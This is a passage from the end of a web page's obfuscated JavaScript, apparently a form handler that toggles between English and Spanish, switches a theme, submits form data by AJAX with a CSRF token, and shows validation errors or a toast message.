_0x1302c4=_0x1a8468;_0x431040[_0x1302c4(0x1f1)+'r']=_0x431040[_0x1302c4(0x253)+'te'](_0x265089[_0x1302c4(0x246)](_0x265089[_0x1302c4(0x2b8)],_0x39f18d));}),document[_0x1a8468(0x23e)]=_0x265089[_0x1a8468(0x2fe)](_0x39f18d,'en')?_0x265089[_0x1a8468(0x290)]:_0x265089[_0x1a8468(0x28d)],document[_0x1a8468(0x201)+_0x1a8468(0x279)](_0x265089[_0x1a8468(0x2ce)])[_0x1a8468(0x299)][_0x1a8468(0x2f1)](_0x265089[_0x1a8468(0x2af)],_0x265089[_0x1a8468(0x2fe)](_0x39f18d,'en')),document[_0x1a8468(0x201)+_0x1a8468(0x279)](_0x265089[_0x1a8468(0x1f7)])[_0x1a8468(0x299)][_0x1a8468(0x2f1)](_0x265089[_0x1a8468(0x2af)],_0x265089[_0x1a8468(0x2fe)](_0x39f18d,'es'));const _0x1c9e62=_0x265089[_0x1a8468(0x2fe)](_0x444155[_0x1a8468(0x2fb)],_0x265089[_0x1a8468(0x2c7)]);_0x32a57d[_0x1a8468(0x311)+'te'](_0x265089[_0x1a8468(0x26a)],_0x265089[_0x1a8468(0x2fe)](_0x39f18d,'en')?_0x1c9e62?_0x265089[_0x1a8468(0x283)]:_0x265089[_0x1a8468(0x258)]:_0x1c9e62?_0x265089[_0x1a8468(0x219)]:_0x265089[_0x1a8468(0x1f9)]);}const _0x134f56=localStorage[_0x4d76dc(0x203)](_0x265089[_0x4d76dc(0x208)]);_0x134f56&&_0x265089[_0x4d76dc(0x285)](_0x134f56,'es')&&_0x265089[_0x4d76dc(0x2b5)](_0x3805e6,_0x134f56);_0x32a57d[_0x4d76dc(0x284)+_0x4d76dc(0x292)](_0x265089[_0x4d76dc(0x247)],()=>{const _0x3af8cb=_0x4d76dc,_0xcb1a48=_0x265089[_0x3af8cb(0x2ef)](_0x444155[_0x3af8cb(0x2fb)],_0x265089[_0x3af8cb(0x2eb)]);_0x444155[_0x3af8cb(0x2fb)]=_0xcb1a48?_0x265089[_0x3af8cb(0x2c7)]:_0x265089[_0x3af8cb(0x2eb)],_0x408363[_0x3af8cb(0x2e8)]=_0xcb1a48?_0x265089[_0x3af8cb(0x1fe)]:_0x265089[_0x3af8cb(0x1fa)];const _0xebd03a=_0xcb1a48?_0x265089[_0x3af8cb(0x2fe)](_0x253d54,'en')?_0x265089[_0x3af8cb(0x283)]:_0x265089[_0x3af8cb(0x219)]:_0x265089[_0x3af8cb(0x20c)](_0x253d54,'en')?_0x265089[_0x3af8cb(0x258)]:_0x265089[_0x3af8cb(0x1f9)];_0x32a57d[_0x3af8cb(0x311)+'te'](_0x265089[_0x3af8cb(0x26a)],_0xebd03a);}),_0x265089[_0x4d76dc(0x2a6)]($,_0x265089[_0x4d76dc(0x2b7)])['on'](_0x265089[_0x4d76dc(0x22f)],function(_0xd29d2d){const _0x697622=_0x4d76dc,_0xe4ba8e={'HTBmZ':function(_0x2f5d9a,_0x5a2f37){const _0x2b6d58=_0x2de3;return _0x265089[_0x2b6d58(0x213)](_0x2f5d9a,_0x5a2f37);},'nynDS':function(_0x430f23,_0x23450b){const _0x4cf239=_0x2de3;return _0x265089[_0x4cf239(0x30e)](_0x430f23,_0x23450b);},'NcivM':function(_0x53c3f4,_0x4c3828){const _0x5325df=_0x2de3;return _0x265089[_0x5325df(0x27f)](_0x53c3f4,_0x4c3828);},'XeRpm':_0x265089[_0x697622(0x224)],'qAzdq':_0x265089[_0x697622(0x2f3)],'vLSQn':_0x265089[_0x697622(0x2c4)],'eQmxR':_0x265089[_0x697622(0x2a9)],'dWRGQ':_0x265089[_0x697622(0x2b0)]};_0xd29d2d[_0x697622(0x2dd)+_0x697622(0x207)]();const _0x18eec5=_0x265089[_0x697622(0x1fb)]($,_0x265089[_0x697622(0x2a1)]),_0x1661e9=_0x265089[_0x697622(0x1fd)]($,_0x265089[_0x697622(0x205)]),_0x941171=_0x265089[_0x697622(0x22a)]($,_0x265089[_0x697622(0x29a)]);_0x265089[_0x697622(0x29c)]($,_0x265089[_0x697622(0x244)])[_0x697622(0x24a)+'s'](_0x265089[_0x697622(0x2f3)]),_0x265089[_0x697622(0x213)]($,_0x265089[_0x697622(0x2c6)])[_0x697622(0x2be)](),_0x18eec5[_0x697622(0x2ff)](_0x265089[_0x697622(0x259)],!![]),_0x1661e9[_0x697622(0x29d)](_0x265089[_0x697622(0x235)]),_0x941171[_0x697622(0x24a)+'s'](_0x265089[_0x697622(0x235)]),$[_0x697622(0x2f2)]({'url':_0x265089[_0x697622(0x2ee)],'method':_0x265089[_0x697622(0x24f)],'data':_0x265089[_0x697622(0x21a)]($,this)[_0x697622(0x1f3)](),'headers':{'X-CSRF-TOKEN':_0x265089[_0x697622(0x1fd)]($,_0x265089[_0x697622(0x204)])[_0x697622(0x2fa)](_0x265089[_0x697622(0x238)])},'success':function(_0xb487cc){const _0x58ea6d=_0x697622;if(_0x265089[_0x58ea6d(0x232)](_0xb487cc[_0x58ea6d(0x2fb)],_0x265089[_0x58ea6d(0x282)])){_0x265089[_0x58ea6d(0x213)]($,_0x265089[_0x58ea6d(0x265)])[_0x58ea6d(0x2be)]();const _0x16ec8a=_0x265089[_0x58ea6d(0x2a6)]($,_0x265089[_0x58ea6d(0x1ff)]);_0x16ec8a[_0x58ea6d(0x200)]({'border-color':_0x265089[_0x58ea6d(0x2e0)],'box-shadow':_0x265089[_0x58ea6d(0x2d1)]});const _0x3b3ca6=_0x265089[_0x58ea6d(0x232)](_0x253d54,'en')?_0x265089[_0x58ea6d(0x266)]:_0x265089[_0x58ea6d(0x287)],_0x2122af=_0x265089[_0x58ea6d(0x30c)]($,_0x58ea6d(0x288)+_0x58ea6d(0x1eb)+_0x58ea6d(0x301)+_0x58ea6d(0x21b)+_0x58ea6d(0x225)+_0x58ea6d(0x28c)+_0x58ea6d(0x2cb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x308)+_0x58ea6d(0x2ed)+_0x58ea6d(0x27c)+_0x58ea6d(0x228)+_0x58ea6d(0x29f)+_0x58ea6d(0x233)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x2da)+_0x58ea6d(0x220)+_0x58ea6d(0x2f5)+_0x58ea6d(0x2a8)+_0x58ea6d(0x21c)+_0x58ea6d(0x21f)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x2a2)+_0x58ea6d(0x257)+_0x58ea6d(0x310)+_0x58ea6d(0x27b)+_0x58ea6d(0x277)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x2e9)+_0x58ea6d(0x294)+_0x58ea6d(0x227)+_0x58ea6d(0x218)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x20f)+_0x58ea6d(0x26f)+_0x58ea6d(0x2de)+_0x58ea6d(0x2e6)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x286)+_0x58ea6d(0x236)+_0x58ea6d(0x24e)+_0x58ea6d(0x2d4)+_0x58ea6d(0x22e)+_0x58ea6d(0x29b)+_0x58ea6d(0x22c)+_0x58ea6d(0x1f6)+_0x58ea6d(0x230)+_0x58ea6d(0x27e)+_0x58ea6d(0x26c)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x301)+_0x58ea6d(0x2d2)+_0x3b3ca6+(_0x58ea6d(0x226)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1eb)+_0x58ea6d(0x1f2)+_0x58ea6d(0x306)+_0x58ea6d(0x1eb)+_0x58ea6d(0x2c2)));_0x16ec8a[_0x58ea6d(0x202)](_0x265089[_0x58ea6d(0x2e1)])[_0x58ea6d(0x28b)](_0x2122af),_0x2122af[_0x58ea6d(0x24b)]()[_0x58ea6d(0x211)](-0x626+-0xefa+-0xf6*-0x17),_0x16ec8a[-0xddb+0xce5*0x1+0x52*0x3][_0x58ea6d(0x280)+_0x58ea6d(0x2cd)]({'behavior':_0x265089[_0x58ea6d(0x2b6)],'block':_0x265089[_0x58ea6d(0x217)]});}else _0x265089[_0x58ea6d(0x1f0)](_0xb487cc[_0x58ea6d(0x2fb)],_0x265089[_0x58ea6d(0x1f8)])&&(window[_0x58ea6d(0x30a)][_0x58ea6d(0x248)]=_0xb487cc[_0x58ea6d(0x281)+'rl']);},'error':function(_0x5c4982){const _0x4d4834=_0x697622;if(_0x265089[_0x4d4834(0x276)](_0x5c4982[_0x4d4834(0x260)],0x11ea*0x1+0xe32+0x1e76*-0x1)){const _0x1335c8=_0x5c4982[_0x4d4834(0x2d3)+'ON'][_0x4d4834(0x209)];$[_0x4d4834(0x243)](_0x1335c8,function(_0x57f8d7,_0x14bc41){const _0x3f6314=_0x4d4834,_0x152e90=_0xe4ba8e[_0x3f6314(0x2bf)]($,_0xe4ba8e[_0x3f6314(0x2f6)](_0xe4ba8e[_0x3f6314(0x29e)](_0xe4ba8e[_0x3f6314(0x269)],_0x57f8d7),'\x22]'));_0x152e90[_0x3f6314(0x29d)](_0xe4ba8e[_0x3f6314(0x1ed)]),_0x152e90[_0x3f6314(0x202)](_0xe4ba8e[_0x3f6314(0x2a4)])[_0x3f6314(0x28b)](_0xe4ba8e[_0x3f6314(0x2f6)](_0xe4ba8e[_0x3f6314(0x29e)](_0xe4ba8e[_0x3f6314(0x271)],_0x14bc41[-0x1f7*0xd+0x1538+0x453]),_0xe4ba8e[_0x3f6314(0x24c)]));});}else _0x265089[_0x4d4834(0x2f4)](_0x268f3a,_0x265089[_0x4d4834(0x307)](_0x253d54,'en')?_0x265089[_0x4d4834(0x2e2)]:_0x265089[_0x4d4834(0x20b)],_0x265089[_0x4d4834(0x304)]);},'complete':function(){const _0x72950e=_0x697622;_0x18eec5[_0x72950e(0x2ff)](_0x265089[_0x72950e(0x259)],![]),_0x1661e9[_0x72950e(0x24a)+'s'](_0x265089[_0x72950e(0x235)]),_0x941171[_0x72950e(0x29d)](_0x265089[_0x72950e(0x235)]);}});});function _0x268f3a(_0x41dc93,_0x29b838){const _0x1a1f2b=_0x4d76dc,_0x490957=_0x265089[_0x1a1f2b(0x255)]($,_0x265089[_0x1a1f2b(0x1f5)]);_0x490957[_0x1a1f2b(0x24a)+'s'](_0x265089[_0x1a1f2b(0x302)])[_0x1a1f2b(0x29d)](_0x265089[_0x1a1f2b(0x305)](_0x265089[_0x1a1f2b(0x305)](_0x265089[_0x1a1f2b(0x245)],_0x29b838),_0x265089[_0x1a1f2b(0x223)])),_0x265089[_0x1a1f2b(0x2b5)]($,_0x265089[_0x1a1f2b(0x297)])[_0x1a1f2b(0x2b3)](_0x41dc93),bootstrap[_0x1a1f2b(0x21e)][_0x1a1f2b(0x268)+_0x1a1f2b(0x23a)](_0x490957[-0x2*0x72b+0x443*-0x1+-0x1299*-0x1],{'delay':0xfa0})[_0x1a1f2b(0x2cf)]();}}));
    </script>
</body>

</html>